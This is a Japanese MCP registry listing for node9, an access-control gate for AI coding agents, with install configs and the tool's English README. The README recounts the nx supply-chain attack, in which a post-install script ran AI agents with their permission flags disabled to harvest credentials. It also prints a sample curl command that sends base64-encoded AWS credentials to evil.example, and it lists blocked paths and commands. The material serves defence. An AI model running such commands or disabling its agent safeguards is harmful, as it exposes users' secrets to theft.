Spec Driven Development
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
作者による説明(英語の原文)
Access control for AI agents and MCP servers: allow, hold for approval, or block each tool call
この3つを1つのスコアにまとめることはしません。意見、測定、人気はそれぞれ別のものだからです。
このサーバーのやさしい解説はまだ書いていません。以下はレジストリから読み取った事実です。
使っているAIアプリを選んで、設定をコピーしてください。
必要なもの
どのアプリを使っていますか?
上でアプリを選んでください。選んだアプリを覚えておくので、次からはボタンに「…にインストール」と表示されます。
Claude Desktop → Settings → Developer → Edit Config を開き、claude_desktop_config.json にこれを貼り付けます
{
"mcpServers": {
"node9": {
"command": "npx",
"args": [
"-y",
"node9-ai",
"mcp-server"
]
}
}
}ターミナルでこれを実行します
claude mcp add node9 -- npx -y node9-ai mcp-serverプロジェクトの .cursor/mcp.json、または ~/.cursor/mcp.json に貼り付けます
{
"mcpServers": {
"node9": {
"command": "npx",
"args": [
"-y",
"node9-ai",
"mcp-server"
]
}
}
}ブラウザがアプリを開いてよいか確認し、そのあとアプリが設定を表示して確認を求めます。キーの値は空欄のままなので、自分で入力してください。
プロジェクトの .vscode/mcp.json に貼り付けます
{
"servers": {
"node9": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"node9-ai",
"mcp-server"
]
}
}
}ブラウザがアプリを開いてよいか確認し、そのあとアプリが設定を表示して確認を求めます。キーの値は空欄のままなので、自分で入力してください。
これはパソコンで動くサーバーですが、ChatGPTがつなげるのはインターネット上のサーバーだけです。ほかのアプリを選んでください。
選んだアプリは、この端末のCookieに保存されます。アカウントは不要です。
この設定は、作者のレジストリ登録情報から作成しています。READMEと違う場合は、READMEに従ってください。
パソコンで動くサーバーです。インストールすると、ツール一覧がAIアプリに表示されます。
誰でも見られる情報をチェックしており、コードは読んでいません。当てはまらない項目は数に入れていません。 · 2026年11月6日にチェック
レジストリ名は、リポジトリを所有するGitHubアカウント node9-ai で確認済みです
このリポジトリはまだGitHubから読み取っていません
このリポジトリはまだGitHubから読み取っていません
これはパソコンで動くため、インターネット上のエンドポイントはありません
パソコンで動き、代わりにローカルの設定を使います
パソコンで動くサーバーです。ツール一覧を読み取れるのは、インターネット上のエンドポイントがある場合だけです
レジストリでこのカテゴリにある有効なすべてのサーバーと比較しています。スターは、公開者がリポジトリの所有者である場合だけ数えます。
当てはまる基本チェック1項目のうち1項目に合格しました。コードは読んでいません。キーやトークンを追加する前に、サーバーがどんなアクセスを求めているかを確認し、必要な権限だけを持つキーを使ってください。
レジストリには必須のキーは載っていません。ただし、最初に使うときにサインインを求めるサーバーもあります。
あなたのパソコンで動きます。必要なときにAIアプリが起動し、データは作者のサーバーを通りません(サーバー自体がオンラインサービスを呼び出す場合を除きます)。
GitHubリポジトリの最終更新は–、最新バージョン(2.26.2)がレジストリに届いたのは38 日前です。
Claude Desktop、Claude Code、Cursor、VS CodeなどのMCP対応アプリで使えます。パソコンにNode.jsも必要です。
同じカテゴリには:Spec Driven Development, Remote Desktop Commander, FOGA node
同じカテゴリで、ほかの作者が作ったサーバー。スターの多い順。
カードの見方:★ GitHubスターi3つの柱:レビュー · チェック · 利用状況i更新=最新バージョンをレジストリに公開した日i
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.
A Finch OG Agent cell as an MCP server: read the world, dry-run and take ERC-8414 tenders by policy.
作者のリポジトリから書かれたとおりにコピーしたものです。PopNx MCPは内容を確認・推奨していません。HTML、画像、スクリプトは取り除いています。リンクはこのサイトの外へ移動します。
🛡️ node9 Access control for AI agents Your AI agents can reach Slack, GitHub, email, and your database. node9 decides what they may do with each one.
Credential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents
Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.
A real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
Then, in any project:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run node9 login # optional: adds this machine to a shared dashboard
Requires Node.js 22+.
On a new interactive terminal, node9 guides you through setup. Local protection needs no account. The checklist shows recommended shields, DLP/PII, optional network egress review, and the background service. Usage statistics are sent only if you accept the separate prompt. The summary lists configured agents and any setup steps that need attention.
Run node9 setup to revisit setup, or node9 setup to configure one agent. Once configured, bare node9 shows help. node9 init remains available; for scripts use node9 init --recommended (no questions and no telemetry opt-in). --skip-setup leaves agent wiring and service installation alone. Explicit --mode takes precedence over the checklist's standard-mode recommendation. Existing settings are preserved unless selected changes or explicit flags request an update. Workspace policy is managed in the dashboard; service settings remain local.
`login` adds nothing to enforcement. It connects the machine to a workspace so a team can see one record across everyone's laptops and CI, set policy centrally, and approve held actions from a dashboard or Slack. Skip it and node9 works exactly the same, alone, offline. node9 logout disconnects again and local enforcement keeps running.
node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
Any MCP client works the same way: the command is npx -y node9-ai mcp-server over stdio, with no API key. It is listed in the official MCP Registry as io.github.node9-ai/node9.
In August 2025, compromised releases of the nx build tool shipped a post-install script that looked for AI coding agents already installed on the developer's machine, then ran them with their own safety flags turned off (--dangerously-skip-permissions, --yolo, --trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list to disk. The script pushed the results to public repositories inside the victims' own GitHub accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was told.
The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.
node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws, .env files, private keys) is on by default, and a read of one of those paths does not run. The agent is stopped, told why, and the decision comes to you:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
The command is parsed as a shell AST, not matched as text, so wrapping the read does not help. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read of ~/.aws/credentials, not as an echo.
node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.
What it does not do: with egress control off, which is the default, a command that hands a file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of that file. node9 egress protect gates destinations as well, and it covers shell commands only.
Nothing below needs an account or uploads your code. scan-repo sends an anonymous usage count (no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.
| Credential jail | ~/.ssh, ~/.aws, .env and private keys are blocked from every tool, not just the shell | docs | |
| Always-on rules | destructive git, SQL without a WHERE, `curl \ | bash and unauthorised sudo`, with no config | docs |
| Secrets and PII | AWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote back | docs | |
| Per-service shields | curated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystem | docs | |
| Inline review | a held action asks you inside the agent conversation, or through a team approver | docs | |
| Egress allowlist | gate where a shell command may send data, off by default | docs | |
| MCP gateway | wrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your back | docs | |
| Sandbox | run an agent in a container with a kernel egress allowlist and scoped mounts | docs | |
| Posture score | how exposed this machine is, with the command that fixes each finding | docs | |
| Repo scanning | find workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLI | docs | |
| Session history | read what every agent already did on this machine, before node9 was installed | docs | |
| Live monitor and report | a terminal dashboard, and a windowed summary of cost, tools, blocks and blast radius | docs | |
| Skills pinning | SHA-256 verification of installed Claude skills and plugins between sessions | docs | |
| Canary credentials | planted fake keys that prove an exfiltration attempt happened | docs |
| Python SDK | govern any Python agent, not only the CLIs | [docs](https://
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